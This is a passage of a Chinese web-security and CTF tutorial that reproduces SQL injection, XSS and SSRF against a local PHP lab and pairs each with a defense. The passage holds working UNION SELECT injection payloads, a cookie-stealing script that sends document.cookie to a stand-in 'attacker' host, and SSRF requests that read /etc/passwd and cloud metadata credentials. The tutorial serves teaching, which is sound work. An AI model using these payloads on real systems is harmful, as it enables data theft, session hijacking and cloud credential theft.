SQL 语句。\n",[37,12951,12952],{"class":39,"line":183},[37,12953,12954],{},"// 如果 $id 是 \"1 OR 1=1\"，这条语句就变成\n",[37,12956,12957],{"class":39,"line":189},[37,12958,12959],{},"// SELECT ... WHERE id = 1 OR 1=1，条件恒真，会返回全部记录。\n",[37,12961,12962],{"class":39,"line":195},[37,12963,133],{"emptyLinePlaceholder":132},[37,12965,12966],{"class":39,"line":200},[37,12967,5437],{},[37,12969,12970],{"class":39,"line":206},[37,12971,12972],{},"// 把拼好的 SQL 字符串发给 MySQL 执行；$result 是结果集对象。\n",[37,12974,12975],{"class":39,"line":212},[37,12976,133],{"emptyLinePlaceholder":132},[37,12978,12979],{"class":39,"line":218},[37,12980,5442],{},[37,12982,12983],{"class":39,"line":224},[37,12984,12985],{},"    // fetch_assoc() 每次取出一行，返回关联数组，例如 ['id'=>1, 'title'=>'hello', ...]\n",[37,12987,12988],{"class":39,"line":230},[37,12989,12990],{},"    // 取不到更多行时返回 null，while 结束。\n",[37,12992,12993],{"class":39,"line":236},[37,12994,5447],{},[37,12996,12997],{"class":39,"line":241},[37,12998,12999],{},"    // 把每行的三个字段拼起来输出到页面，攻击者靠这些输出判断查询结果。\n",[37,13001,13002],{"class":39,"line":247},[37,13003,2576],{},[37,13005,13006],{"class":39,"line":253},[37,13007,5456],{},[15,13009,13010],{},"第三步，启动：",[28,13012,13014],{"className":30,"code":13013,"language":32,"meta":33,"style":33},"php -S 127.0.0.1:8000\n",[19,13015,13016],{"__ignoreMap":33},[37,13017,13018,13020,13022],{"class":39,"line":40},[37,13019,5274],{"class":43},[37,13021,5352],{"class":479},[37,13023,5355],{"class":47},[85,13025,13027],{"id":13026},"_32-正常请求","3.2 正常请求",[15,13029,1295],{},[28,13031,13032],{"className":30,"code":5498,"language":32,"meta":33,"style":33},[19,13033,13034],{"__ignoreMap":33},[37,13035,13036,13038,13040,13042],{"class":39,"line":40},[37,13037,5505],{"class":43},[37,13039,5508],{"class":1545},[37,13041,5511],{"class":47},[37,13043,5514],{"class":1545},[15,13045,1310],{},[28,13047,13049],{"className":13048,"code":5520,"language":97,"meta":33},[95],[19,13050,5520],{"__ignoreMap":33},[85,13052,13054],{"id":13053},"_33-判断注入点三步","3.3 判断注入点（三步）",[15,13056,13057,13059,13060,13062],{},[107,13058,109],{},"：确认 ",[19,13061,5480],{}," 参数确实能被拼进 SQL 并影响查询逻辑，而不是被框架做了过滤。",[15,13064,13065,13067,13068,13071,13072,13075],{},[107,13066,336],{},"：如果注入成立，那么：① 单引号会破坏 SQL 语法导致报错；② 追加 ",[19,13069,13070],{},"AND 1=1","（恒真）页面正常；③ 追加 ",[19,13073,13074],{},"AND 1=2","（恒假）查询结果为空。三者同时满足即可判定。",[15,13077,13078,13080],{},[107,13079,1769],{},"：逐条发送以下三个请求，对比输出。",[15,13082,13083],{},"输入 1：",[28,13085,13087],{"className":30,"code":13086,"language":32,"meta":33,"style":33},"curl \"http://127.0.0.1:8000/vuln.php?id=1'\"\n# 目的：在 id 后追加一个单引号，观察是否报错。\n# 若语句变成 SELECT ... WHERE id = 1'，SQL 语法不完整，MySQL 会报错。\n# 报错 = 输入确实进入了 SQL 语句（注入点存在的第一个证据）。\n",[19,13088,13089,13099,13104,13109],{"__ignoreMap":33},[37,13090,13091,13093,13095,13097],{"class":39,"line":40},[37,13092,5505],{"class":43},[37,13094,5508],{"class":1545},[37,13096,5545],{"class":47},[37,13098,5514],{"class":1545},[37,13100,13101],{"class":39,"line":60},[37,13102,13103],{"class":1060},"# 目的：在 id 后追加一个单引号，观察是否报错。\n",[37,13105,13106],{"class":39,"line":71},[37,13107,13108],{"class":1060},"# 若语句变成 SELECT ... WHERE id = 1'，SQL 语法不完整，MySQL 会报错。\n",[37,13110,13111],{"class":39,"line":136},[37,13112,13113],{"class":1060},"# 报错 = 输入确实进入了 SQL 语句（注入点存在的第一个证据）。\n",[15,13115,13116],{},"预期输出：SQL 语法错误，例如：",[28,13118,13120],{"className":13119,"code":5554,"language":97,"meta":33},[95],[19,13121,5554],{"__ignoreMap":33},[15,13123,13124],{},"这说明我们的单引号进入了 SQL 语句并破坏了语法。",[15,13126,13127],{},"输入 2：",[28,13129,13131],{"className":30,"code":13130,"language":32,"meta":33,"style":33},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=1\"\n# 目的：验证\"能改变查询条件\"。1=1 恒真，若正常返回说明拼接生效。\n# 输出应为 1 hello world，与 id=1 相同，说明 AND 部分被执行。\n",[19,13132,13133,13143,13148],{"__ignoreMap":33},[37,13134,13135,13137,13139,13141],{"class":39,"line":40},[37,13136,5505],{"class":43},[37,13138,5508],{"class":1545},[37,13140,5581],{"class":47},[37,13142,5514],{"class":1545},[37,13144,13145],{"class":39,"line":60},[37,13146,13147],{"class":1060},"# 目的：验证\"能改变查询条件\"。1=1 恒真，若正常返回说明拼接生效。\n",[37,13149,13150],{"class":39,"line":71},[37,13151,13152],{"class":1060},"# 输出应为 1 hello world，与 id=1 相同，说明 AND 部分被执行。\n",[15,13154,1310,13155,13157],{},[19,13156,5588],{},"（条件为真，正常返回）。",[15,13159,13160],{},"输入 3：",[28,13162,13164],{"className":30,"code":13163,"language":32,"meta":33,"style":33},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=2\"\n# 目的：验证\"条件为假时结果为空\"。1=2 恒假，正常应无输出。\n# 输出为空 = 我们的输入确实参与 WHERE 判断，注入点最终确认。\n",[19,13165,13166,13176,13181],{"__ignoreMap":33},[37,13167,13168,13170,13172,13174],{"class":39,"line":40},[37,13169,5505],{"class":43},[37,13171,5508],{"class":1545},[37,13173,5607],{"class":47},[37,13175,5514],{"class":1545},[37,13177,13178],{"class":39,"line":60},[37,13179,13180],{"class":1060},"# 目的：验证\"条件为假时结果为空\"。1=2 恒假，正常应无输出。\n",[37,13182,13183],{"class":39,"line":71},[37,13184,13185],{"class":1060},"# 输出为空 = 我们的输入确实参与 WHERE 判断，注入点最终确认。\n",[15,13187,13188],{},"预期输出：空（条件为假，查不到数据）。",[15,13190,13191,13192,13194,13195,5626],{},"三个结果合起来：单引号报错、",[19,13193,5621],{}," 正常、",[19,13196,5625],{},[85,13198,13200],{"id":13199},"_34-利用union-拖数据","3.4 利用：UNION 拖数据",[15,13202,13203,13205],{},[107,13204,109],{},"：在确认注入后，把数据库里的表结构和数据\"借\"UNION 查询显示到页面上。",[15,13207,13208,13210,13211,13213],{},[107,13209,336],{},"：UNION 可以把两个 SELECT 的结果合并输出，但要求两边列数相同，且第一个查询最好返回空（用不存在的 ",[19,13212,5646],{},"），这样页面显示的就是我们构造的第二个查询。因此先数列数，再确定哪一列会回显，最后把要查的内容（库名、表名、flag）放到回显列上。",[15,13215,13216],{},"第一步，确定列数：",[28,13218,13220],{"className":30,"code":13219,"language":32,"meta":33,"style":33},"curl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1\"\n# ORDER BY N 表示按第 N 列排序；列数 >= N 时正常，超出时报错。\n# 依次尝试 N=1,2,3 都正常，N=4 报错，说明该查询恰好有 3 列。\n",[19,13221,13222,13232,13237],{"__ignoreMap":33},[37,13223,13224,13226,13228,13230],{"class":39,"line":40},[37,13225,5505],{"class":43},[37,13227,5508],{"class":1545},[37,13229,5673],{"class":47},[37,13231,5514],{"class":1545},[37,13233,13234],{"class":39,"line":60},[37,13235,13236],{"class":1060},"# ORDER BY N 表示按第 N 列排序；列数 >= N 时正常，超出时报错。\n",[37,13238,13239],{"class":39,"line":71},[37,13240,13241],{"class":1060},"# 依次尝试 N=1,2,3 都正常，N=4 报错，说明该查询恰好有 3 列。\n",[15,13243,13244],{},"第二步，确认哪一列会回显：",[28,13246,13248],{"className":30,"code":13247,"language":32,"meta":33,"style":33},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+\"\n# id=-1：让第一个查询查不到任何记录，这样 UNION 只显示我们构造的部分。\n# SELECT 1,2,3：与原来 3 列对齐；数字 2、3 会显示在页面上，说明这两个位置可回显数据。\n# --+：URL 解码后为 \"-- \"，即 SQL 注释，把原查询后面的代码注释掉。\n",[19,13249,13250,13260,13265,13270],{"__ignoreMap":33},[37,13251,13252,13254,13256,13258],{"class":39,"line":40},[37,13253,5505],{"class":43},[37,13255,5508],{"class":1545},[37,13257,5737],{"class":47},[37,13259,5514],{"class":1545},[37,13261,13262],{"class":39,"line":60},[37,13263,13264],{"class":1060},"# id=-1：让第一个查询查不到任何记录，这样 UNION 只显示我们构造的部分。\n",[37,13266,13267],{"class":39,"line":71},[37,13268,13269],{"class":1060},"# SELECT 1,2,3：与原来 3 列对齐；数字 2、3 会显示在页面上，说明这两个位置可回显数据。\n",[37,13271,13272],{"class":39,"line":136},[37,13273,13274],{"class":1060},"# --+：URL 解码后为 \"-- \"，即 SQL 注释，把原查询后面的代码注释掉。\n",[15,13276,1310,13277,13279],{},[19,13278,5744],{},"（数字 1 不显示，2、3 的位置可以显示内容）。",[15,13281,13282],{},"第三步，查数据库名：",[28,13284,13286],{"className":30,"code":13285,"language":32,"meta":33,"style":33},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+\"\n# database() 是 MySQL 函数，返回当前数据库名；放到第 2 列（回显位）即可看到。\n# 预期输出 ctf，这一步是为了确认我们在哪个库里，便于后面精确指定表名。\n",[19,13287,13288,13298,13303],{"__ignoreMap":33},[37,13289,13290,13292,13294,13296],{"class":39,"line":40},[37,13291,5505],{"class":43},[37,13293,5508],{"class":1545},[37,13295,5763],{"class":47},[37,13297,5514],{"class":1545},[37,13299,13300],{"class":39,"line":60},[37,13301,13302],{"class":1060},"# database() 是 MySQL 函数，返回当前数据库名；放到第 2 列（回显位）即可看到。\n",[37,13304,13305],{"class":39,"line":71},[37,13306,13307],{"class":1060},"# 预期输出 ctf，这一步是为了确认我们在哪个库里，便于后面精确指定表名。\n",[15,13309,1310,13310,490],{},[19,13311,1164],{},[15,13313,13314],{},"第四步，查表名：",[28,13316,13318],{"className":30,"code":13317,"language":32,"meta":33,"style":33},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+\"\n# information_schema.tables：MySQL 自带的元数据表，记录所有表名。\n# WHERE table_schema=database()：只筛当前库的表。\n# group_concat(table_name)：把多行表名拼成一行逗号分隔，方便一次性输出。\n# 预期输出 articles,flag,users —— 看到 flag 表，猜测 flag 就存在这里。\n",[19,13319,13320,13330,13335,13340,13345],{"__ignoreMap":33},[37,13321,13322,13324,13326,13328],{"class":39,"line":40},[37,13323,5505],{"class":43},[37,13325,5508],{"class":1545},[37,13327,5787],{"class":47},[37,13329,5514],{"class":1545},[37,13331,13332],{"class":39,"line":60},[37,13333,13334],{"class":1060},"# information_schema.tables：MySQL 自带的元数据表，记录所有表名。\n",[37,13336,13337],{"class":39,"line":71},[37,13338,13339],{"class":1060},"# WHERE table_schema=database()：只筛当前库的表。\n",[37,13341,13342],{"class":39,"line":136},[37,13343,13344],{"class":1060},"# group_concat(table_name)：把多行表名拼成一行逗号分隔，方便一次性输出。\n",[37,13346,13347],{"class":39,"line":142},[37,13348,13349],{"class":1060},"# 预期输出 articles,flag,users —— 看到 flag 表，猜测 flag 就存在这里。\n",[15,13351,1310,13352,490],{},[19,13353,5794],{},[15,13355,13356],{},"第五步，拿 flag：",[28,13358,13360],{"className":30,"code":13359,"language":32,"meta":33,"style":33},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+\"\n# 上一步猜出 flag 表，这一步直接查它：SELECT 1,flag,3 表示从 flag 表取 flag 列。\n# 如果表名或列名猜错会报错，可回头用 information_schema.columns 查列名再试。\n# 预期输出 flag{sql_injection}，即本题的答案。\n",[19,13361,13362,13372,13377,13382],{"__ignoreMap":33},[37,13363,13364,13366,13368,13370],{"class":39,"line":40},[37,13365,5505],{"class":43},[37,13367,5508],{"class":1545},[37,13369,5851],{"class":47},[37,13371,5514],{"class":1545},[37,13373,13374],{"class":39,"line":60},[37,13375,13376],{"class":1060},"# 上一步猜出 flag 表，这一步直接查它：SELECT 1,flag,3 表示从 flag 表取 flag 列。\n",[37,13378,13379],{"class":39,"line":71},[37,13380,13381],{"class":1060},"# 如果表名或列名猜错会报错，可回头用 information_schema.columns 查列名再试。\n",[37,13383,13384],{"class":39,"line":136},[37,13385,13386],{"class":1060},"# 预期输出 flag{sql_injection}，即本题的答案。\n",[15,13388,1310,13389,490],{},[19,13390,5858],{},[15,13392,13393],{},"说明：",[9815,13395,13396,13401,13411],{},[1913,13397,13398,13400],{},[19,13399,5646],{},"：让第一个查询返回空，UNION 的结果才显示第二个查询。",[1913,13402,13403,13406,13407,13410],{},[19,13404,13405],{},"--+","：URL 中解码后是 ",[19,13408,13409],{},"-- ","，即 SQL 注释，把后面代码注释掉。",[1913,13412,13413,13416],{},[19,13414,13415],{},"group_concat","：把多行拼成一行，方便一次性输出。",[85,13418,13420],{"id":13419},"_35-防御参数化查询","3.5 防御：参数化查询",[28,13422,13424],{"className":5272,"code":13423,"language":5274,"meta":33,"style":33},"$stmt = $pdo->prepare(\"SELECT id, title, content FROM articles WHERE id = ?\");\n$stmt->execute([$_GET['id']]);\n",[19,13425,13426,13430],{"__ignoreMap":33},[37,13427,13428],{"class":39,"line":40},[37,13429,6249],{},[37,13431,13432],{"class":39,"line":60},[37,13433,6254],{},[15,13435,13436,13437,13439,13440,13443],{},"此时输入 ",[19,13438,6293],{}," 只会被当作字符串 ",[19,13441,13442],{},"'1 OR 1=1'"," 去比较，不会改变语句结构。",[10,13445,13447],{"id":13446},"四核心漏洞-2xss完整复现","四、核心漏洞 2：XSS（完整复现）",[15,13449,13450,13452],{},[107,13451,109],{},"：理解\"用户输入被当 HTML/JS 输出\"这一漏洞，以及如何构造验证。",[15,13454,13455,13457,13458,13461,13462,13465,13466,13469],{},[107,13456,336],{},"：页面把 ",[19,13459,13460],{},"name"," 原样输出。如果我们传 ",[19,13463,13464],{},"\u003Cscript>alert(1)\u003C/script>","，浏览器会把它当脚本执行。判断方法：先看响应是否原样包含 ",[19,13467,13468],{},"\u003Cscript>"," 标签（用 curl），再用浏览器确认脚本真的执行。",[85,13471,13473],{"id":13472},"_41-平台与代码","4.1 平台与代码",[15,13475,13476,13477,1682],{},"任意 Web 应用。示例 ",[19,13478,13479],{},"xss.php",[28,13481,13483],{"className":5272,"code":13482,"language":5274,"meta":33,"style":33},"\u003C?php echo \"你好，\" . $_GET['name'] . \"！\"; ?>\n",[19,13484,13485],{"__ignoreMap":33},[37,13486,13487],{"class":39,"line":40},[37,13488,13482],{},[85,13490,13492],{"id":13491},"_42-正常请求","4.2 正常请求",[28,13494,13496],{"className":30,"code":13495,"language":32,"meta":33,"style":33},"curl \"http://127.0.0.1:8000/xss.php?name=alice\"\n",[19,13497,13498],{"__ignoreMap":33},[37,13499,13500,13502,13504,13507],{"class":39,"line":40},[37,13501,5505],{"class":43},[37,13503,5508],{"class":1545},[37,13505,13506],{"class":47},"http://127.0.0.1:8000/xss.php?name=alice",[37,13508,5514],{"class":1545},[15,13510,1434,13511,490],{},[19,13512,13513],{},"你好，alice！",[85,13515,13517],{"id":13516},"_43-注入脚本","4.3 注入脚本",[28,13519,13521],{"className":30,"code":13520,"language":32,"meta":33,"style":33},"curl \"http://127.0.0.1:8000/xss.php?name=\u003Cscript>alert(1)\u003C/script>\"\n",[19,13522,13523],{"__ignoreMap":33},[37,13524,13525,13527,13529,13532],{"class":39,"line":40},[37,13526,5505],{"class":43},[37,13528,5508],{"class":1545},[37,13530,13531],{"class":47},"http://127.0.0.1:8000/xss.php?name=\u003Cscript>alert(1)\u003C/script>",[37,13533,5514],{"class":1545},[15,13535,1434],{},[28,13537,13539],{"className":6883,"code":13538,"language":6885,"meta":33,"style":33},"你好，\n\u003Cscript>\n  alert(1)\n\u003C/script>\n！\n",[19,13540,13541,13546,13555,13568,13577],{"__ignoreMap":33},[37,13542,13543],{"class":39,"line":40},[37,13544,13545],{"class":1217},"你好，\n",[37,13547,13548,13550,13553],{"class":39,"line":60},[37,13549,6892],{"class":1217},[37,13551,13552],{"class":1071},"script",[37,13554,1221],{"class":1217},[37,13556,13557,13560,13563,13565],{"class":39,"line":71},[37,13558,13559],{"class":43},"  alert",[37,13561,13562],{"class":1217},"(",[37,13564,6529],{"class":479},[37,13566,13567],{"class":1217},")\n",[37,13569,13570,13573,13575],{"class":39,"line":136},[37,13571,13572],{"class":1217},"\u003C/",[37,13574,13552],{"class":1071},[37,13576,1221],{"class":1217},[37,13578,13579],{"class":39,"line":142},[37,13580,13581],{"class":1217},"！\n",[15,13583,13584,13585,13587,13588,13590],{},"浏览器会把 ",[19,13586,13468],{}," 当作代码执行。",[19,13589,5505],{}," 只是看响应，要看到效果需要用浏览器打开该 URL。",[85,13592,13594],{"id":13593},"_44-危害演示偷-cookie","4.4 危害演示：偷 Cookie",[15,13596,13597],{},"攻击者构造 URL：",[28,13599,13601],{"className":6883,"code":13600,"language":6885,"meta":33,"style":33},"http://127.0.0.1:8000/xss.php?name=\n\u003Cscript>\n  fetch('http://attacker/?c=' + document.cookie)\n\u003C/script>\n",[19,13602,13603,13608,13616,13637],{"__ignoreMap":33},[37,13604,13605],{"class":39,"line":40},[37,13606,13607],{"class":1217},"http://127.0.0.1:8000/xss.php?name=\n",[37,13609,13610,13612,13614],{"class":39,"line":60},[37,13611,6892],{"class":1217},[37,13613,13552],{"class":1071},[37,13615,1221],{"class":1217},[37,13617,13618,13621,13623,13626,13629,13631,13634],{"class":39,"line":71},[37,13619,13620],{"class":43},"  fetch",[37,13622,13562],{"class":1217},[37,13624,13625],{"class":1545},"'",[37,13627,13628],{"class":47},"http://attacker/?c=",[37,13630,13625],{"class":1545},[37,13632,13633],{"class":1071}," +",[37,13635,13636],{"class":1217}," document.cookie)\n",[37,13638,13639,13641,13643],{"class":39,"line":136},[37,13640,13572],{"class":1217},[37,13642,13552],{"class":1071},[37,13644,1221],{"class":1217},[15,13646,13647,13648,13651],{},"受害者打开后，浏览器会把受害者的 Cookie 发到 ",[19,13649,13650],{},"attacker"," 服务器。攻击者拿到 Cookie 即可冒充登录。",[85,13653,13655],{"id":13654},"_45-防御输出编码","4.5 防御：输出编码",[15,13657,13658],{},"输出前把危险字符转义：",[943,13660,13661,13671],{},[946,13662,13663],{},[949,13664,13665,13668],{},[952,13666,13667],{},"原始字符",[952,13669,13670],{},"转义后",[962,13672,13673,13684,13696,13707,13718],{},[949,13674,13675,13679],{},[967,13676,13677],{},[19,13678,6892],{},[967,13680,13681],{},[19,13682,13683],{},"&lt;",[949,13685,13686,13691],{},[967,13687,13688],{},[19,13689,13690],{},">",[967,13692,13693],{},[19,13694,13695],{},"&gt;",[949,13697,13698,13702],{},[967,13699,13700],{},[19,13701,6148],{},[967,13703,13704],{},[19,13705,13706],{},"&quot;",[949,13708,13709,13713],{},[967,13710,13711],{},[19,13712,13625],{},[967,13714,13715],{},[19,13716,13717],{},"&#39;",[949,13719,13720,13725],{},[967,13721,13722],{},[19,13723,13724],{},"&",[967,13726,13727],{},[19,13728,13729],{},"&amp;",[15,13731,13732,13733,13736],{},"PHP 用 ",[19,13734,13735],{},"htmlspecialchars()","，或使用默认转义的框架（Vue、React 默认转义插值）。",[10,13738,13740],{"id":13739},"五核心漏洞-3ssrf完整复现","五、核心漏洞 3：SSRF（完整复现）",[15,13742,13743,13745],{},[107,13744,109],{},"：理解\"服务器根据用户输入发起请求\"造成的危害，以及如何验证。",[15,13747,13748,1682,13750,13753,13754,13757,13758,13761,13762,13765,13766,13769],{},[107,13749,336],{},[19,13751,13752],{},"file_get_contents($url)"," 会按 ",[19,13755,13756],{},"$url"," 的协议去读内容。协议决定能力：",[19,13759,13760],{},"file://"," 读本地文件，",[19,13763,13764],{},"http://"," 访问内网，",[19,13767,13768],{},"gopher://"," 与内网 TCP 服务交互。验证方式：依次换三种协议，看响应内容。",[85,13771,13773],{"id":13772},"_51-平台与代码","5.1 平台与代码",[15,13775,13776,13777,1682],{},"具有\"URL 处理\"功能的应用。示例 ",[19,13778,13779],{},"ssrf.php",[28,13781,13783],{"className":5272,"code":13782,"language":5274,"meta":33,"style":33},"\u003C?php\necho file_get_contents($_GET['url']);\n// file_get_contents() 的作用：按参数中的 URL 把内容读成字符串。\n// 参数含义：$_GET['url'] 是用户可控的目标地址。\n// 危险点：服务器会以自身身份访问该地址，可能读到本机文件或内网服务。\n?>\n",[19,13784,13785,13789,13794,13799,13804,13809],{"__ignoreMap":33},[37,13786,13787],{"class":39,"line":40},[37,13788,5418],{},[37,13790,13791],{"class":39,"line":60},[37,13792,13793],{},"echo file_get_contents($_GET['url']);\n",[37,13795,13796],{"class":39,"line":71},[37,13797,13798],{},"// file_get_contents() 的作用：按参数中的 URL 把内容读成字符串。\n",[37,13800,13801],{"class":39,"line":136},[37,13802,13803],{},"// 参数含义：$_GET['url'] 是用户可控的目标地址。\n",[37,13805,13806],{"class":39,"line":142},[37,13807,13808],{},"// 危险点：服务器会以自身身份访问该地址，可能读到本机文件或内网服务。\n",[37,13810,13811],{"class":39,"line":148},[37,13812,5456],{},[85,13814,13816],{"id":13815},"_52-读本地文件","5.2 读本地文件",[28,13818,13820],{"className":30,"code":13819,"language":32,"meta":33,"style":33},"curl \"http://127.0.0.1:8000/ssrf.php?url=file:///etc/passwd\"\n# file:// 是本地文件协议；file:///etc/passwd 表示读取服务器上的 /etc/passwd。\n# 预期输出是 passwd 内容（root:x:0:0:...）。\n# 若输出为空，可能被防护拦截，可尝试 file:///etc/hosts、file:///flag 等路径。\n",[19,13821,13822,13833,13838,13843],{"__ignoreMap":33},[37,13823,13824,13826,13828,13831],{"class":39,"line":40},[37,13825,5505],{"class":43},[37,13827,5508],{"class":1545},[37,13829,13830],{"class":47},"http://127.0.0.1:8000/ssrf.php?url=file:///etc/passwd",[37,13832,5514],{"class":1545},[37,13834,13835],{"class":39,"line":60},[37,13836,13837],{"class":1060},"# file:// 是本地文件协议；file:///etc/passwd 表示读取服务器上的 /etc/passwd。\n",[37,13839,13840],{"class":39,"line":71},[37,13841,13842],{"class":1060},"# 预期输出是 passwd 内容（root:x:0:0:...）。\n",[37,13844,13845],{"class":39,"line":136},[37,13846,13847],{"class":1060},"# 若输出为空，可能被防护拦截，可尝试 file:///etc/hosts、file:///flag 等路径。\n",[15,13849,1310],{},[28,13851,13854],{"className":13852,"code":13853,"language":97,"meta":33},[95],"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n...\n",[19,13855,13853],{"__ignoreMap":33},[85,13857,13859],{"id":13858},"_53-探测内网端口","5.3 探测内网端口",[28,13861,13863],{"className":30,"code":13862,"language":32,"meta":33,"style":33},"curl \"http://127.0.0.1:8000/ssrf.php?url=http://127.0.0.1:3306\"\n# http://127.0.0.1:3306 让服务器尝试连接本机 3306（MySQL 默认端口）。\n# 端口关闭：请求报错或超时；端口开放：返回协议握手数据或错误信息。\n# 通过逐个尝试端口，可以绘制内网服务清单。\n",[19,13864,13865,13876,13881,13886],{"__ignoreMap":33},[37,13866,13867,13869,13871,13874],{"class":39,"line":40},[37,13868,5505],{"class":43},[37,13870,5508],{"class":1545},[37,13872,13873],{"class":47},"http://127.0.0.1:8000/ssrf.php?url=http://127.0.0.1:3306",[37,13875,5514],{"class":1545},[37,13877,13878],{"class":39,"line":60},[37,13879,13880],{"class":1060},"# http://127.0.0.1:3306 让服务器尝试连接本机 3306（MySQL 默认端口）。\n",[37,13882,13883],{"class":39,"line":71},[37,13884,13885],{"class":1060},"# 端口关闭：请求报错或超时；端口开放：返回协议握手数据或错误信息。\n",[37,13887,13888],{"class":39,"line":136},[37,13889,13890],{"class":1060},"# 通过逐个尝试端口，可以绘制内网服务清单。\n",[15,13892,13893],{},"输出为空或超时说明端口关闭；出现 MySQL 协议内容说明 3306 开放。",[85,13895,13897],{"id":13896},"_54-访问云元数据","5.4 访问云元数据",[28,13899,13901],{"className":30,"code":13900,"language":32,"meta":33,"style":33},"curl \"http://127.0.0.1:8000/ssrf.php?url=http://169.254.169.254/latest/meta-data/\"\n# 169.254.169.254 是云平台（AWS、阿里云等）的元数据服务地址。\n# 若题目跑在云服务器上且未做内网拦截，这里会返回临时凭证/配置信息。\n# 这是 SSRF 最经典的\"打云\"利用点，拿到凭证后可能进一步控制资源。\n",[19,13902,13903,13914,13919,13924],{"__ignoreMap":33},[37,13904,13905,13907,13909,13912],{"class":39,"line":40},[37,13906,5505],{"class":43},[37,13908,5508],{"class":1545},[37,13910,13911],{"class":47},"http://127.0.0.1:8000/ssrf.php?url=http://169.254.169.254/latest/meta-data/",[37,13913,5514],{"class":1545},[37,13915,13916],{"class":39,"line":60},[37,13917,13918],{"class":1060},"# 169.254.169.254 是云平台（AWS、阿里云等）的元数据服务地址。\n",[37,13920,13921],{"class":39,"line":71},[37,13922,13923],{"class":1060},"# 若题目跑在云服务器上且未做内网拦截，这里会返回临时凭证/配置信息。\n",[37,13925,13926],{"class":39,"line":136},[37,13927,13928],{"class":1060},"# 这是 SSRF 最经典的\"打云\"利用点，拿到凭证后可能进一步控制资源。\n",[15,13930,13931],{},"云服务器上该地址返回临时凭证相关信息。这是 SSRF 最著名的利用点。",[85,13933,13935],{"id":13934},"_55-防御","5.5 防御",[28,13937,13939],{"className":5272,"code":13938,"language":5274,"meta":33,"style":33},"$allowed = ['https', 'http'];\n$scheme = parse_url($_GET['url'], PHP_URL_SCHEME);\nif (!in_array($scheme, $allowed)) die(\"not allowed\");\n// 并检查主机是否属于内网段（127.0.0.0/8、10.0.0.0/8、169.254.169.254 等）\n",[19,13940,13941,13946,13951,13956],{"__ignoreMap":33},[37,13942,13943],{"class":39,"line":40},[37,13944,13945],{},"$allowed = ['https', 'http'];\n",[37,13947,13948],{"class":39,"line":60},[37,13949,13950],{},"$scheme = parse_url($_GET['url'], PHP_URL_SCHEME);\n",[37,13952,13953],{"class":39,"line":71},[37,13954,13955],{},"if (!in_array($scheme, $allowed)) die(\"not allowed\");\n",[37,13957,13958],{"class":39,"line":136},[37,13959,13960],{},"// 并检查主机是否属于内网段（127.0.0.0/8、10.0.0.0/8、169.254.169.254 等）\n",[10,13962,13964],{"id":13963},"六必学工具-1curl","六、必学工具 1：curl",[15,13966,13967],{},"三个核心功能，逐个演示。",[15,13969,13970],{},"功能 1：带参数 GET。",[28,13972,13973],{"className":30,"code":5498,"language":32,"meta":33,"style":33},[19,13974,13975],{"__ignoreMap":33},[37,13976,13977,13979,13981,13983],{"class":39,"line":40},[37,13978,5505],{"class":43},[37,13980,5508],{"class":1545},[37,13982,5511],{"class":47},[37,13984,5514],{"class":1545},[15,13986,1434,13987,490],{},[19,13988,5588],{},[15,13990,13991,13992,9684],{},"功能 2：查看完整请求与响应（",[19,13993,12673],{},[28,13995,13997],{"className":30,"code":13996,"language":32,"meta":33,"style":33},"curl -v \"http://127.0.0.1:8000/vuln.php?id=1\"\n# -v（verbose）会输出完整过程：> 开头是请求行与请求头，\n# \u003C 开头是响应行与响应头，最后是正文。\n# 用途：确认服务器实际收到的请求（比如看 User-Agent、Cookie 是否带上）。\n",[19,13998,13999,14011,14016,14021],{"__ignoreMap":33},[37,14000,14001,14003,14005,14007,14009],{"class":39,"line":40},[37,14002,5505],{"class":43},[37,14004,12661],{"class":479},[37,14006,5508],{"class":1545},[37,14008,5511],{"class":47},[37,14010,5514],{"class":1545},[37,14012,14013],{"class":39,"line":60},[37,14014,14015],{"class":1060},"# -v（verbose）会输出完整过程：> 开头是请求行与请求头，\n",[37,14017,14018],{"class":39,"line":71},[37,14019,14020],{"class":1060},"# \u003C 开头是响应行与响应头，最后是正文。\n",[37,14022,14023],{"class":39,"line":136},[37,14024,14025],{"class":1060},"# 用途：确认服务器实际收到的请求（比如看 User-Agent、Cookie 是否带上）。\n",[15,14027,14028,14029,14031,14032,14034],{},"输出中 ",[19,14030,13690],{}," 开头的是请求，",[19,14033,6892],{}," 开头的是响应，最下面是正文。",[15,14036,14037,14038,9684],{},"功能 3：POST 数据（",[19,14039,14040],{},"-d",[28,14042,14044],{"className":30,"code":14043,"language":32,"meta":33,"style":33},"curl -X POST \"http://127.0.0.1:8000/login.php\" -d \"username=admin&password=123\"\n",[19,14045,14046],{"__ignoreMap":33},[37,14047,14048,14050,14053,14056,14058,14061,14063,14065,14067,14070],{"class":39,"line":40},[37,14049,5505],{"class":43},[37,14051,14052],{"class":479}," -X",[37,14054,14055],{"class":47}," POST",[37,14057,5508],{"class":1545},[37,14059,14060],{"class":47},"http://127.0.0.1:8000/login.php",[37,14062,6148],{"class":1545},[37,14064,1503],{"class":479},[37,14066,5508],{"class":1545},[37,14068,14069],{"class":47},"username=admin&password=123",[37,14071,5514],{"class":1545},[15,14073,14074],{},"用于登录、上传等需要 POST 的场景。",[10,14076,14078],{"id":14077},"七必学工具-2burp-suite","七、必学工具 2：Burp Suite",[15,14080,14081],{},"图形化抓包改包工具（社区版免费）。三个核心模块：",[943,14083,14084,14097],{},[946,14085,14086],{},[949,14087,14088,14091,14094],{},[952,14089,14090],{},"模块",[952,14092,14093],{},"用途",[952,14095,14096],{},"操作步骤",[962,14098,14099,14114,14125],{},[949,14100,14101,14104,14107],{},[967,14102,14103],{},"Proxy",[967,14105,14106],{},"拦截请求",[967,14108,14109,14110,14113],{},"浏览器设置代理 ",[19,14111,14112],{},"127.0.0.1:8080","，安装 Burp 证书；访问目标时请求停在 Burp，可修改后 Forward",[949,14115,14116,14119,14122],{},[967,14117,14118],{},"Repeater",[967,14120,14121],{},"手工重放",[967,14123,14124],{},"拦截到的请求右键 → Send to 